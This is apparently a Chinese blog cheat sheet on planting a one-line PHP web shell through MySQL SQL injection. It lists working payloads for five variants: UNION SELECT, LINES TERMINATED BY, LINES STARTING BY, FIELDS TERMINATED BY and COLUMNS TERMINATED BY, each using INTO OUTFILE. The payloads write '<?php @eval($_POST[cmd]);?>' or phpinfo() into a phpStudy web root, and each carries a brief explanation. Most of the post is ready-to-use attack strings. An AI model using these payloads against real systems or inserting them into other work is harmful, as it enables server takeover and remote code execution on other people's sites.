MYSQL写入一句话的方式

一、union select 后写入
最常见的写入方式,union select 后跟 into outfile 语句

1' union select 1,2,'<?php @eval($_POST[cmd]);?>' into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\shell.php" --+
1' union select 1,2,'<?php @eval($_POST[cmd]);?>' into outfile "C:/phpStudy/PHPTutorial/WWW/shell.php" --+
		注意:在windows下,位置的分隔符为 / 或 \\。

二、lines terminated by 写入

id=1' into outfile 'C:/phpStudy/PHPTutorial/WWW/shell.php' lines terminated by '<?php @eval($_POST[cmd]);?>' --+
id=1' limit 1 into outfile 'C:/phpStudy/PHPTutorial/WWW/shell.php' lines terminated by '<?php phpinfo() ?>' --+
		
通过select语句查询的内容写入文件,也就是 1' into outfile 'C:/phpStudy/PHPTutorial/WWW/shell.php' 这样写的原因,
然后利用 lines terminated by 语句拼接webshell的内容。lines terminated by 可以理解为 以每行终止的位置添加 xx 内容。

三、lines starting by 写入

?id=1' into outfile 'C:/phpStudy/PHPTutorial/WWW/shell.php' lines starting by '<?php phpinfo() ?>'; --+
	利用 lines starting by 语句拼接webshell的内容。lines starting by 可以理解为 以每行开始的位置添加 xx 内容。

四、fields terminated by 写入

?id=1' into outfile 'C:/phpStudy/PHPTutorial/WWW/shell.php' fields terminated by '<?php phpinfo() ?>' --+
	利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。

五、COLUMNS terminated by 写入

?id=1' into outfile 'C:/phpStudy/PHPTutorial/WWW/shell.php' COLUMNS terminated by '<?php phpinfo() ?>' --+
	利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章